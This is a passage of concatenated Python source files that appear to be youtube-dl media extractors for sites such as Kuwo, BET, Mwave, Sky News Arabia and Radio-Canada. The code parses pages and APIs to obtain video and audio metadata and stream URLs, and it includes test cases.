        {'format': 'mp3-128', 'ext': 'mp3', 'br': '128kmp3', 'abr': 128, 'preference': 60},
        {'format': 'wma', 'ext': 'wma', 'preference': 20},
        {'format': 'aac', 'ext': 'aac', 'abr': 48, 'preference': 10}
    ]

    def _get_formats(self, song_id, tolerate_ip_deny=False):
        formats = []
        for file_format in self._FORMATS:
            query = {
                'format': file_format['ext'],
                'br': file_format.get('br', ''),
                'rid': 'MUSIC_%s' % song_id,
                'type': 'convert_url',
                'response': 'url'
            }

            song_url = self._download_webpage(
                'http://antiserver.kuwo.cn/anti.s',
                song_id, note='Download %s url info' % file_format['format'],
                query=query, headers=self.geo_verification_headers(),
            )

            if song_url == 'IPDeny' and not tolerate_ip_deny:
                raise ExtractorError('This song is blocked in this region', expected=True)

            if song_url.startswith('http://') or song_url.startswith('https://'):
                formats.append({
                    'url': song_url,
                    'format_id': file_format['format'],
                    'format': file_format['format'],
                    'preference': file_format['preference'],
                    'abr': file_format.get('abr'),
                })

        return formats


class KuwoIE(KuwoBaseIE):
    IE_NAME = 'kuwo:song'
    IE_DESC = '酷我音乐'
    _VALID_URL = r'https?://www\.kuwo\.cn/yinyue/(?P<id>\d+)'
    _TESTS = [{
        'url': 'http://www.kuwo.cn/yinyue/635632/',
        'info_dict': {
            'id': '635632',
            'ext': 'ape',
            'title': '爱我别走',
            'creator': '张震岳',
            'upload_date': '20080122',
            'description': 'md5:ed13f58e3c3bf3f7fd9fbc4e5a7aa75c'
        },
        'skip': 'this song has been offline because of copyright issues',
    }, {
        'url': 'http://www.kuwo.cn/yinyue/6446136/',
        'info_dict': {
            'id': '6446136',
            'ext': 'mp3',
            'title': '心',
            'description': 'md5:5d0e947b242c35dc0eb1d2fce9fbf02c',
            'creator': 'IU',
            'upload_date': '20150518',
        },
        'params': {
            'format': 'mp3-320'
        },
    }, {
        'url': 'http://www.kuwo.cn/yinyue/3197154?catalog=yueku2016',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        song_id = self._match_id(url)
        webpage = self._download_webpage(
            url, song_id, note='Download song detail info',
            errnote='Unable to get song detail info')
        if '对不起，该歌曲由于版权问题已被下线，将返回网站首页' in webpage:
            raise ExtractorError('this song has been offline because of copyright issues', expected=True)

        song_name = self._html_search_regex(
            r'<p[^>]+id="lrcName">([^<]+)</p>', webpage, 'song name')
        singer_name = remove_start(self._html_search_regex(
            r'<a[^>]+href="http://www\.kuwo\.cn/artist/content\?name=([^"]+)">',
            webpage, 'singer name', fatal=False), '歌手')
        lrc_content = clean_html(get_element_by_id('lrcContent', webpage))
        if lrc_content == '暂无':     # indicates no lyrics
            lrc_content = None

        formats = self._get_formats(song_id)
        self._sort_formats(formats)

        album_id = self._html_search_regex(
            r'<a[^>]+href="http://www\.kuwo\.cn/album/(\d+)/"',
            webpage, 'album id', fatal=False)

        publish_time = None
        if album_id is not None:
            album_info_page = self._download_webpage(
                'http://www.kuwo.cn/album/%s/' % album_id, song_id,
                note='Download album detail info',
                errnote='Unable to get album detail info')

            publish_time = self._html_search_regex(
                r'发行时间：(\d{4}-\d{2}-\d{2})', album_info_page,
                'publish time', fatal=False)
            if publish_time:
                publish_time = publish_time.replace('-', '')

        return {
            'id': song_id,
            'title': song_name,
            'creator': singer_name,
            'upload_date': publish_time,
            'description': lrc_content,
            'formats': formats,
        }


class KuwoAlbumIE(InfoExtractor):
    IE_NAME = 'kuwo:album'
    IE_DESC = '酷我音乐 - 专辑'
    _VALID_URL = r'https?://www\.kuwo\.cn/album/(?P<id>\d+?)/'
    _TEST = {
        'url': 'http://www.kuwo.cn/album/502294/',
        'info_dict': {
            'id': '502294',
            'title': 'Made\xa0Series\xa0《M》',
            'description': 'md5:d463f0d8a0ff3c3ea3d6ed7452a9483f',
        },
        'playlist_count': 2,
    }

    def _real_extract(self, url):
        album_id = self._match_id(url)

        webpage = self._download_webpage(
            url, album_id, note='Download album info',
            errnote='Unable to get album info')

        album_name = self._html_search_regex(
            r'<div[^>]+class="comm"[^<]+<h1[^>]+title="([^"]+)"', webpage,
            'album name')
        album_intro = remove_start(
            clean_html(get_element_by_id('intro', webpage)),
            '%s简介：' % album_name)

        entries = [
            self.url_result(song_url, 'Kuwo') for song_url in re.findall(
                r'<p[^>]+class="listen"><a[^>]+href="(http://www\.kuwo\.cn/yinyue/\d+/)"',
                webpage)
        ]
        return self.playlist_result(entries, album_id, album_name, album_intro)


class KuwoChartIE(InfoExtractor):
    IE_NAME = 'kuwo:chart'
    IE_DESC = '酷我音乐 - 排行榜'
    _VALID_URL = r'https?://yinyue\.kuwo\.cn/billboard_(?P<id>[^.]+).htm'
    _TEST = {
        'url': 'http://yinyue.kuwo.cn/billboard_香港中文龙虎榜.htm',
        'info_dict': {
            'id': '香港中文龙虎榜',
        },
        'playlist_mincount': 10,
    }

    def _real_extract(self, url):
        chart_id = self._match_id(url)
        webpage = self._download_webpage(
            url, chart_id, note='Download chart info',
            errnote='Unable to get chart info')

        entries = [
            self.url_result(song_url, 'Kuwo') for song_url in re.findall(
                r'<a[^>]+href="(http://www\.kuwo\.cn/yinyue/\d+)', webpage)
        ]
        return self.playlist_result(entries, chart_id)


class KuwoSingerIE(InfoExtractor):
    IE_NAME = 'kuwo:singer'
    IE_DESC = '酷我音乐 - 歌手'
    _VALID_URL = r'https?://www\.kuwo\.cn/mingxing/(?P<id>[^/]+)'
    _TESTS = [{
        'url': 'http://www.kuwo.cn/mingxing/bruno+mars/',
        'info_dict': {
            'id': 'bruno+mars',
            'title': 'Bruno\xa0Mars',
        },
        'playlist_mincount': 329,
    }, {
        'url': 'http://www.kuwo.cn/mingxing/Ali/music.htm',
        'info_dict': {
            'id': 'Ali',
            'title': 'Ali',
        },
        'playlist_mincount': 95,
        'skip': 'Regularly stalls travis build',  # See https://travis-ci.org/rg3/youtube-dl/jobs/78878540
    }]

    PAGE_SIZE = 15

    def _real_extract(self, url):
        singer_id = self._match_id(url)
        webpage = self._download_webpage(
            url, singer_id, note='Download singer info',
            errnote='Unable to get singer info')

        singer_name = self._html_search_regex(
            r'<h1>([^<]+)</h1>', webpage, 'singer name')

        artist_id = self._html_search_regex(
            r'data-artistid="(\d+)"', webpage, 'artist id')

        page_count = int(self._html_search_regex(
            r'data-page="(\d+)"', webpage, 'page count'))

        def page_func(page_num):
            webpage = self._download_webpage(
                'http://www.kuwo.cn/artist/contentMusicsAjax',
                singer_id, note='Download song list page #%d' % (page_num + 1),
                errnote='Unable to get song list page #%d' % (page_num + 1),
                query={'artistId': artist_id, 'pn': page_num, 'rn': self.PAGE_SIZE})

            return [
                self.url_result(compat_urlparse.urljoin(url, song_url), 'Kuwo')
                for song_url in re.findall(
                    r'<div[^>]+class="name"><a[^>]+href="(/yinyue/\d+)',
                    webpage)
            ]

        entries = InAdvancePagedList(page_func, page_count, self.PAGE_SIZE)

        return self.playlist_result(entries, singer_id, singer_name)


class KuwoCategoryIE(InfoExtractor):
    IE_NAME = 'kuwo:category'
    IE_DESC = '酷我音乐 - 分类'
    _VALID_URL = r'https?://yinyue\.kuwo\.cn/yy/cinfo_(?P<id>\d+?).htm'
    _TEST = {
        'url': 'http://yinyue.kuwo.cn/yy/cinfo_86375.htm',
        'info_dict': {
            'id': '86375',
            'title': '八十年代精选',
            'description': '这些都是属于八十年代的回忆！',
        },
        'playlist_mincount': 24,
    }

    def _real_extract(self, url):
        category_id = self._match_id(url)
        webpage = self._download_webpage(
            url, category_id, note='Download category info',
            errnote='Unable to get category info')

        category_name = self._html_search_regex(
            r'<h1[^>]+title="([^<>]+?)">[^<>]+?</h1>', webpage, 'category name')

        category_desc = remove_start(
            get_element_by_id('intro', webpage).strip(),
            '%s简介：' % category_name)
        if category_desc == '暂无':
            category_desc = None

        jsonm = self._parse_json(self._html_search_regex(
            r'var\s+jsonm\s*=\s*([^;]+);', webpage, 'category songs'), category_id)

        entries = [
            self.url_result('http://www.kuwo.cn/yinyue/%s/' % song['musicrid'], 'Kuwo')
            for song in jsonm['musiclist']
        ]
        return self.playlist_result(entries, category_id, category_name, category_desc)


class KuwoMvIE(KuwoBaseIE):
    IE_NAME = 'kuwo:mv'
    IE_DESC = '酷我音乐 - MV'
    _VALID_URL = r'https?://www\.kuwo\.cn/mv/(?P<id>\d+?)/'
    _TEST = {
        'url': 'http://www.kuwo.cn/mv/6480076/',
        'info_dict': {
            'id': '6480076',
            'ext': 'mp4',
            'title': 'My HouseMV',
            'creator': 'PM02:00',
        },
        # In this video, music URLs (anti.s) are blocked outside China and
        # USA, while the MV URL (mvurl) is available globally, so force the MV
        # URL for consistent results in different countries
        'params': {
            'format': 'mv',
        },
    }
    _FORMATS = KuwoBaseIE._FORMATS + [
        {'format': 'mkv', 'ext': 'mkv', 'preference': 250},
        {'format': 'mp4', 'ext': 'mp4', 'preference': 200},
    ]

    def _real_extract(self, url):
        song_id = self._match_id(url)
        webpage = self._download_webpage(
            url, song_id, note='Download mv detail info: %s' % song_id,
            errnote='Unable to get mv detail info: %s' % song_id)

        mobj = re.search(
            r'<h1[^>]+title="(?P<song>[^"]+)">[^<]+<span[^>]+title="(?P<singer>[^"]+)"',
            webpage)
        if mobj:
            song_name = mobj.group('song')
            singer_name = mobj.group('singer')
        else:
            raise ExtractorError('Unable to find song or singer names')

        formats = self._get_formats(song_id, tolerate_ip_deny=True)

        mv_url = self._download_webpage(
            'http://www.kuwo.cn/yy/st/mvurl?rid=MUSIC_%s' % song_id,
            song_id, note='Download %s MV URL' % song_id)
        formats.append({
            'url': mv_url,
            'format_id': 'mv',
        })

        self._sort_formats(formats)

        return {
            'id': song_id,
            'title': song_name,
            'creator': singer_name,
            'formats': formats,
        }






from __future__ import unicode_literals

from .mtv import MTVServicesInfoExtractor
from ..utils import unified_strdate
from ..compat import compat_urllib_parse_urlencode


class BetIE(MTVServicesInfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?bet\.com/(?:[^/]+/)+(?P<id>.+?)\.html'
    _TESTS = [
        {
            'url': 'http://www.bet.com/news/politics/2014/12/08/in-bet-exclusive-obama-talks-race-and-racism.html',
            'info_dict': {
                'id': '07e96bd3-8850-3051-b856-271b457f0ab8',
                'display_id': 'in-bet-exclusive-obama-talks-race-and-racism',
                'ext': 'flv',
                'title': 'A Conversation With President Obama',
                'description': 'President Obama urges persistence in confronting racism and bias.',
                'duration': 1534,
                'upload_date': '20141208',
                'thumbnail': 're:(?i)^https?://.*\.jpg$',
                'subtitles': {
                    'en': 'mincount:2',
                }
            },
            'params': {
                # rtmp download
                'skip_download': True,
            },
        },
        {
            'url': 'http://www.bet.com/video/news/national/2014/justice-for-ferguson-a-community-reacts.html',
            'info_dict': {
                'id': '9f516bf1-7543-39c4-8076-dd441b459ba9',
                'display_id': 'justice-for-ferguson-a-community-reacts',
                'ext': 'flv',
                'title': 'Justice for Ferguson: A Community Reacts',
                'description': 'A BET News special.',
                'duration': 1696,
                'upload_date': '20141125',
                'thumbnail': 're:(?i)^https?://.*\.jpg$',
                'subtitles': {
                    'en': 'mincount:2',
                }
            },
            'params': {
                # rtmp download
                'skip_download': True,
            },
        }
    ]

    _FEED_URL = "http://feeds.mtvnservices.com/od/feed/bet-mrss-player"

    def _get_feed_query(self, uri):
        return compat_urllib_parse_urlencode({
            'uuid': uri,
        })

    def _extract_mgid(self, webpage):
        return self._search_regex(r'data-uri="([^"]+)', webpage, 'mgid')

    def _real_extract(self, url):
        display_id = self._match_id(url)

        webpage = self._download_webpage(url, display_id)
        mgid = self._extract_mgid(webpage)
        videos_info = self._get_videos_info(mgid)

        info_dict = videos_info['entries'][0]

        upload_date = unified_strdate(self._html_search_meta('date', webpage))
        description = self._html_search_meta('description', webpage)

        info_dict.update({
            'display_id': display_id,
            'description': description,
            'upload_date': upload_date,
        })

        return info_dict






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor


class MorningstarIE(InfoExtractor):
    IE_DESC = 'morningstar.com'
    _VALID_URL = r'https?://(?:www\.)?morningstar\.com/[cC]over/video[cC]enter\.aspx\?id=(?P<id>[0-9]+)'
    _TEST = {
        'url': 'http://www.morningstar.com/cover/videocenter.aspx?id=615869',
        'md5': '6c0acface7a787aadc8391e4bbf7b0f5',
        'info_dict': {
            'id': '615869',
            'ext': 'mp4',
            'title': 'Get Ahead of the Curve on 2013 Taxes',
            'description': "Vanguard's Joel Dickson on managing higher tax rates for high-income earners and fund capital-gain distributions in 2013.",
            'thumbnail': r're:^https?://.*m(?:orning)?star\.com/.+thumb\.jpg$'
        }
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')

        webpage = self._download_webpage(url, video_id)
        title = self._html_search_regex(
            r'<h1 id="titleLink">(.*?)</h1>', webpage, 'title')
        video_url = self._html_search_regex(
            r'<input type="hidden" id="hidVideoUrl" value="([^"]+)"',
            webpage, 'video URL')
        thumbnail = self._html_search_regex(
            r'<input type="hidden" id="hidSnapshot" value="([^"]+)"',
            webpage, 'thumbnail', fatal=False)
        description = self._html_search_regex(
            r'<div id="mstarDeck".*?>(.*?)</div>',
            webpage, 'description', fatal=False)

        return {
            'id': video_id,
            'title': title,
            'url': video_url,
            'thumbnail': thumbnail,
            'description': description,
        }






from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import compat_str
from ..utils import (
    int_or_none,
    qualities,
)


class KamcordIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?kamcord\.com/v/(?P<id>[^/?#&]+)'
    _TEST = {
        'url': 'https://www.kamcord.com/v/hNYRduDgWb4',
        'md5': 'c3180e8a9cfac2e86e1b88cb8751b54c',
        'info_dict': {
            'id': 'hNYRduDgWb4',
            'ext': 'mp4',
            'title': 'Drinking Madness',
            'uploader': 'jacksfilms',
            'uploader_id': '3044562',
            'view_count': int,
            'like_count': int,
            'comment_count': int,
        },
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        video = self._parse_json(
            self._search_regex(
                r'window\.__props\s*=\s*({.+?});?(?:\n|\s*</script)',
                webpage, 'video'),
            video_id)['video']

        title = video['title']

        formats = self._extract_m3u8_formats(
            video['play']['hls'], video_id, 'mp4', entry_protocol='m3u8_native')
        self._sort_formats(formats)

        uploader = video.get('user', {}).get('username')
        uploader_id = video.get('user', {}).get('id')

        view_count = int_or_none(video.get('viewCount'))
        like_count = int_or_none(video.get('heartCount'))
        comment_count = int_or_none(video.get('messageCount'))

        preference_key = qualities(('small', 'medium', 'large'))

        thumbnails = [{
            'url': thumbnail_url,
            'id': thumbnail_id,
            'preference': preference_key(thumbnail_id),
        } for thumbnail_id, thumbnail_url in (video.get('thumbnail') or {}).items()
            if isinstance(thumbnail_id, compat_str) and isinstance(thumbnail_url, compat_str)]

        return {
            'id': video_id,
            'title': title,
            'uploader': uploader,
            'uploader_id': uploader_id,
            'view_count': view_count,
            'like_count': like_count,
            'comment_count': comment_count,
            'thumbnails': thumbnails,
            'formats': formats,
        }






from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import compat_str
from ..utils import (
    int_or_none,
    parse_duration,
)


class MwaveIE(InfoExtractor):
    _VALID_URL = r'https?://mwave\.interest\.me/mnettv/videodetail\.m\?searchVideoDetailVO\.clip_id=(?P<id>[0-9]+)'
    _URL_TEMPLATE = 'http://mwave.interest.me/mnettv/videodetail.m?searchVideoDetailVO.clip_id=%s'
    _TEST = {
        'url': 'http://mwave.interest.me/mnettv/videodetail.m?searchVideoDetailVO.clip_id=168859',
        # md5 is unstable
        'info_dict': {
            'id': '168859',
            'ext': 'flv',
            'title': '[M COUNTDOWN] SISTAR - SHAKE IT',
            'thumbnail': 're:^https?://.*\.jpg$',
            'uploader': 'M COUNTDOWN',
            'duration': 206,
            'view_count': int,
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        vod_info = self._download_json(
            'http://mwave.interest.me/onair/vod_info.m?vodtype=CL&sectorid=&endinfo=Y&id=%s' % video_id,
            video_id, 'Download vod JSON')

        formats = []
        for num, cdn_info in enumerate(vod_info['cdn']):
            stream_url = cdn_info.get('url')
            if not stream_url:
                continue
            stream_name = cdn_info.get('name') or compat_str(num)
            f4m_stream = self._download_json(
                stream_url, video_id,
                'Download %s stream JSON' % stream_name)
            f4m_url = f4m_stream.get('fileurl')
            if not f4m_url:
                continue
            formats.extend(
                self._extract_f4m_formats(f4m_url + '&hdcore=3.0.3', video_id, f4m_id=stream_name))
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': vod_info['title'],
            'thumbnail': vod_info.get('cover'),
            'uploader': vod_info.get('program_title'),
            'duration': parse_duration(vod_info.get('time')),
            'view_count': int_or_none(vod_info.get('hit')),
            'formats': formats,
        }


class MwaveMeetGreetIE(InfoExtractor):
    _VALID_URL = r'https?://mwave\.interest\.me/meetgreet/view/(?P<id>\d+)'
    _TEST = {
        'url': 'http://mwave.interest.me/meetgreet/view/256',
        'info_dict': {
            'id': '173294',
            'ext': 'flv',
            'title': '[MEET&GREET] Park BoRam',
            'thumbnail': 're:^https?://.*\.jpg$',
            'uploader': 'Mwave',
            'duration': 3634,
            'view_count': int,
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)
        clip_id = self._html_search_regex(
            r'<iframe[^>]+src="/mnettv/ifr_clip\.m\?searchVideoDetailVO\.clip_id=(\d+)',
            webpage, 'clip ID')
        clip_url = MwaveIE._URL_TEMPLATE % clip_id
        return self.url_result(clip_url, 'Mwave', clip_id)






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import compat_str
from ..utils import (
    parse_iso8601,
    parse_duration,
)


class SkyNewsArabiaBaseIE(InfoExtractor):
    _IMAGE_BASE_URL = 'http://www.skynewsarabia.com/web/images'

    def _call_api(self, path, value):
        return self._download_json('http://api.skynewsarabia.com/web/rest/v2/%s/%s.json' % (path, value), value)

    def _get_limelight_media_id(self, url):
        return self._search_regex(r'/media/[^/]+/([a-z0-9]{32})', url, 'limelight media id')

    def _get_image_url(self, image_path_template, width='1600', height='1200'):
        return self._IMAGE_BASE_URL + image_path_template.format(width=width, height=height)

    def _extract_video_info(self, video_data):
        video_id = compat_str(video_data['id'])
        topic = video_data.get('topicTitle')
        return {
            '_type': 'url_transparent',
            'url': 'limelight:media:%s' % self._get_limelight_media_id(video_data['videoUrl'][0]['url']),
            'id': video_id,
            'title': video_data['headline'],
            'description': video_data.get('summary'),
            'thumbnail': self._get_image_url(video_data['mediaAsset']['imageUrl']),
            'timestamp': parse_iso8601(video_data.get('date')),
            'duration': parse_duration(video_data.get('runTime')),
            'tags': video_data.get('tags', []),
            'categories': [topic] if topic else [],
            'webpage_url': 'http://www.skynewsarabia.com/web/video/%s' % video_id,
            'ie_key': 'LimelightMedia',
        }


class SkyNewsArabiaIE(SkyNewsArabiaBaseIE):
    IE_NAME = 'skynewsarabia:video'
    _VALID_URL = r'https?://(?:www\.)?skynewsarabia\.com/web/video/(?P<id>[0-9]+)'
    _TEST = {
        'url': 'http://www.skynewsarabia.com/web/video/794902/%D9%86%D8%B5%D9%81-%D9%85%D9%84%D9%8A%D9%88%D9%86-%D9%85%D8%B5%D8%A8%D8%A7%D8%AD-%D8%B4%D8%AC%D8%B1%D8%A9-%D9%83%D8%B1%D9%8A%D8%B3%D9%85%D8%A7%D8%B3',
        'info_dict': {
            'id': '794902',
            'ext': 'flv',
            'title': 'نصف مليون مصباح على شجرة كريسماس',
            'description': 'md5:22f1b27f0850eeb10c7e59b1f16eb7c6',
            'upload_date': '20151128',
            'timestamp': 1448697198,
            'duration': 2119,
        },
        'params': {
            # rtmp download
            'skip_download': True,
        },
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        video_data = self._call_api('video', video_id)
        return self._extract_video_info(video_data)


class SkyNewsArabiaArticleIE(SkyNewsArabiaBaseIE):
    IE_NAME = 'skynewsarabia:article'
    _VALID_URL = r'https?://(?:www\.)?skynewsarabia\.com/web/article/(?P<id>[0-9]+)'
    _TESTS = [{
        'url': 'http://www.skynewsarabia.com/web/article/794549/%D8%A7%D9%94%D8%AD%D8%AF%D8%A7%D8%AB-%D8%A7%D9%84%D8%B4%D8%B1%D9%82-%D8%A7%D9%84%D8%A7%D9%94%D9%88%D8%B3%D8%B7-%D8%AE%D8%B1%D9%8A%D8%B7%D8%A9-%D8%A7%D9%84%D8%A7%D9%94%D9%84%D8%B9%D8%A7%D8%A8-%D8%A7%D9%84%D8%B0%D9%83%D9%8A%D8%A9',
        'info_dict': {
            'id': '794549',
            'ext': 'flv',
            'title': 'بالفيديو.. ألعاب ذكية تحاكي واقع المنطقة',
            'description': 'md5:0c373d29919a851e080ee4edd0c5d97f',
            'upload_date': '20151126',
            'timestamp': 1448559336,
            'duration': 281.6,
        },
        'params': {
            # rtmp download
            'skip_download': True,
        },
    }, {
        'url': 'http://www.skynewsarabia.com/web/article/794844/%D8%A7%D8%B3%D8%AA%D9%87%D8%AF%D8%A7%D9%81-%D9%82%D9%88%D8%A7%D8%B1%D8%A8-%D8%A7%D9%94%D8%B3%D9%84%D8%AD%D8%A9-%D9%84%D9%85%D9%8A%D9%84%D9%8A%D8%B4%D9%8A%D8%A7%D8%AA-%D8%A7%D9%84%D8%AD%D9%88%D8%AB%D9%8A-%D9%88%D8%B5%D8%A7%D9%84%D8%AD',
        'info_dict': {
            'id': '794844',
            'title': 'إحباط تهريب أسلحة لميليشيات الحوثي وصالح بجنوب اليمن',
            'description': 'md5:5c927b8b2e805796e7f693538d96fc7e',
        },
        'playlist_mincount': 2,
    }]

    def _real_extract(self, url):
        article_id = self._match_id(url)
        article_data = self._call_api('article', article_id)
        media_asset = article_data['mediaAsset']
        if media_asset['type'] == 'VIDEO':
            topic = article_data.get('topicTitle')
            return {
                '_type': 'url_transparent',
                'url': 'limelight:media:%s' % self._get_limelight_media_id(media_asset['videoUrl'][0]['url']),
                'id': article_id,
                'title': article_data['headline'],
                'description': article_data.get('summary'),
                'thumbnail': self._get_image_url(media_asset['imageUrl']),
                'timestamp': parse_iso8601(article_data.get('date')),
                'tags': article_data.get('tags', []),
                'categories': [topic] if topic else [],
                'webpage_url': url,
                'ie_key': 'LimelightMedia',
            }
        entries = [self._extract_video_info(item) for item in article_data.get('inlineItems', []) if item['type'] == 'VIDEO']
        return self.playlist_result(entries, article_id, article_data['headline'], article_data.get('summary'))






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import compat_urlparse
from ..utils import (
    fix_xml_ampersands,
    float_or_none,
    xpath_with_ns,
    xpath_text,
)


class KarriereVideosIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?karrierevideos\.at(?:/[^/]+)+/(?P<id>[^/]+)'
    _TESTS = [{
        'url': 'http://www.karrierevideos.at/berufsvideos/mittlere-hoehere-schulen/altenpflegerin',
        'info_dict': {
            'id': '32c91',
            'ext': 'flv',
            'title': 'AltenpflegerIn',
            'description': 'md5:dbadd1259fde2159a9b28667cb664ae2',
            'thumbnail': 're:^http://.*\.png',
        },
        'params': {
            # rtmp download
            'skip_download': True,
        }
    }, {
        # broken ampersands
        'url': 'http://www.karrierevideos.at/orientierung/vaeterkarenz-und-neue-chancen-fuer-muetter-baby-was-nun',
        'info_dict': {
            'id': '5sniu',
            'ext': 'flv',
            'title': 'Väterkarenz und neue Chancen für Mütter - "Baby - was nun?"',
            'description': 'md5:97092c6ad1fd7d38e9d6a5fdeb2bcc33',
            'thumbnail': 're:^http://.*\.png',
        },
        'params': {
            # rtmp download
            'skip_download': True,
        }
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        title = (self._html_search_meta('title', webpage, default=None) or
                 self._search_regex(r'<h1 class="title">([^<]+)</h1>'))

        video_id = self._search_regex(
            r'/config/video/(.+?)\.xml', webpage, 'video id')
        # Server returns malformed headers
        # Force Accept-Encoding: * to prevent gzipped results
        playlist = self._download_xml(
            'http://www.karrierevideos.at/player-playlist.xml.php?p=%s' % video_id,
            video_id, transform_source=fix_xml_ampersands,
            headers={'Accept-Encoding': '*'})

        NS_MAP = {
            'jwplayer': 'http://developer.longtailvideo.com/trac/wiki/FlashFormats'
        }

        def ns(path):
            return xpath_with_ns(path, NS_MAP)

        item = playlist.find('./tracklist/item')
        video_file = xpath_text(
            item, ns('./jwplayer:file'), 'video url', fatal=True)
        streamer = xpath_text(
            item, ns('./jwplayer:streamer'), 'streamer', fatal=True)

        uploader = xpath_text(
            item, ns('./jwplayer:author'), 'uploader')
        duration = float_or_none(
            xpath_text(item, ns('./jwplayer:duration'), 'duration'))

        description = self._html_search_regex(
            r'(?s)<div class="leadtext">(.+?)</div>',
            webpage, 'description')

        thumbnail = self._html_search_meta(
            'thumbnail', webpage, 'thumbnail')
        if thumbnail:
            thumbnail = compat_urlparse.urljoin(url, thumbnail)

        return {
            'id': video_id,
            'url': streamer.replace('rtmpt', 'rtmp'),
            'play_path': 'mp4:%s' % video_file,
            'ext': 'flv',
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'uploader': uploader,
            'duration': duration,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    xpath_text,
    find_xpath_attr,
    determine_ext,
    int_or_none,
    unified_strdate,
    xpath_element,
    ExtractorError,
    determine_protocol,
)


class RadioCanadaIE(InfoExtractor):
    IE_NAME = 'radiocanada'
    _VALID_URL = r'(?:radiocanada:|https?://ici\.radio-canada\.ca/widgets/mediaconsole/)(?P<app_code>[^:/]+)[:/](?P<id>[0-9]+)'
    _TEST = {
        'url': 'http://ici.radio-canada.ca/widgets/mediaconsole/medianet/7184272',
        'info_dict': {
            'id': '7184272',
            'ext': 'mp4',
            'title': 'Le parcours du tireur capté sur vidéo',
            'description': 'Images des caméras de surveillance fournies par la GRC montrant le parcours du tireur d\'Ottawa',
            'upload_date': '20141023',
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
    }

    def _real_extract(self, url):
        app_code, video_id = re.match(self._VALID_URL, url).groups()

        device_types = ['ipad', 'android']
        if app_code != 'toutv':
            device_types.append('flash')

        formats = []
        # TODO: extract f4m formats
        # f4m formats can be extracted using flashhd device_type but they produce unplayable file
        for device_type in device_types:
            v_data = self._download_xml(
                'http://api.radio-canada.ca/validationMedia/v1/Validation.ashx',
                video_id, note='Downloading %s XML' % device_type, query={
                    'appCode': app_code,
                    'idMedia': video_id,
                    'connectionType': 'broadband',
                    'multibitrate': 'true',
                    'deviceType': device_type,
                    # paysJ391wsHjbOJwvCs26toz and bypasslock are used to bypass geo-restriction
                    'paysJ391wsHjbOJwvCs26toz': 'CA',
                    'bypasslock': 'NZt5K62gRqfc',
                }, fatal=False)
            v_url = xpath_text(v_data, 'url')
            if not v_url:
                continue
            if v_url == 'null':
                raise ExtractorError('%s said: %s' % (
                    self.IE_NAME, xpath_text(v_data, 'message')), expected=True)
            ext = determine_ext(v_url)
            if ext == 'm3u8':
                formats.extend(self._extract_m3u8_formats(
                    v_url, video_id, 'mp4', m3u8_id='hls', fatal=False))
            elif ext == 'f4m':
                formats.extend(self._extract_f4m_formats(
                    v_url, video_id, f4m_id='hds', fatal=False))
            else:
                ext = determine_ext(v_url)
                bitrates = xpath_element(v_data, 'bitrates')
                for url_e in bitrates.findall('url'):
                    tbr = int_or_none(url_e.get('bitrate'))
                    if not tbr:
                        continue
                    f_url = re.sub(r'\d+\.%s' % ext, '%d.%s' % (tbr, ext), v_url)
                    protocol = determine_protocol({'url': f_url})
                    formats.append({
                        'format_id': '%s-%d' % (protocol, tbr),
                        'url': f_url,
                        'ext': 'flv' if protocol == 'rtmp' else ext,
                        'protocol': protocol,
                        'width': int_or_none(url_e.get('width')),
                        'height': int_or_none(url_e.get('height')),
                        'tbr': tbr,
                    })
                    if protocol == 'rtsp':
                        base_url = self._search_regex(
                            r'rtsp://([^?]+)', f_url, 'base url', default=None)
                        if base_url:
                            base_url = 'http://' + base_url
                            formats.extend(self._extract_m3u8_formats(
                                base_url + '/playlist.m3u8', video_id, 'mp4',
                                'm3u8_native', m3u8_id='hls', fatal=False))
                            formats.extend(self._extract_f4m_formats(
                                base_url + '/manifest.f4m', video_id,
                                f4m_id='hds', fatal=False))
        self._sort_formats(formats)

        metadata = self._download_xml(
            'http://api.radio-canada.ca/metaMedia/v1/index.ashx',
            video_id, note='Downloading metadata XML', query={
                'appCode': app_code,
                'idMedia': video_id,
            })

        def get_meta(name):
            el = find_xpath_attr(metadata, './/Meta', 'name', name)
            return el.text if el is not None else None

        return {
            'id': video_id,
            'title': get_meta('Title'),
            'description': get_meta('Description') or get_meta('ShortDescription'),
            'thumbnail': get_meta('imageHR') or get_meta('imageMR') or get_meta('imageBR'),
            'duration': int_or_none(get_meta('length')),
            'series': get_meta('Emission'),
            'season_number': int_or_none('SrcSaison'),
            'episode_number': int_or_none('SrcEpisode'),
            'upload_date': unified_strdate(get_meta('Date')),
            'formats': formats,
        }


class RadioCanadaAudioVideoIE(InfoExtractor):
    'radiocanada:audiovideo'
    _VALID_URL = r'https?://ici\.radio-canada\.ca/audio-video/media-(?P<id>[0-9]+)'
    _TEST = {
        'url': 'http://ici.radio-canada.ca/audio-video/media-7527184/barack-obama-au-vietnam',
        'info_dict': {
            'id': '7527184',
            'ext': 'mp4',
            'title': 'Barack Obama au Vietnam',
            'description': 'Les États-Unis lèvent l\'embargo sur la vente d\'armes qui datait de la guerre du Vietnam',
            'upload_date': '20160523',
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
    }

    def _real_extract(self, url):
        return self.url_result('radiocanada:medianet:%s' % self._match_id(url))






from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import ExtractorError


class FreeVideoIE(InfoExtractor):
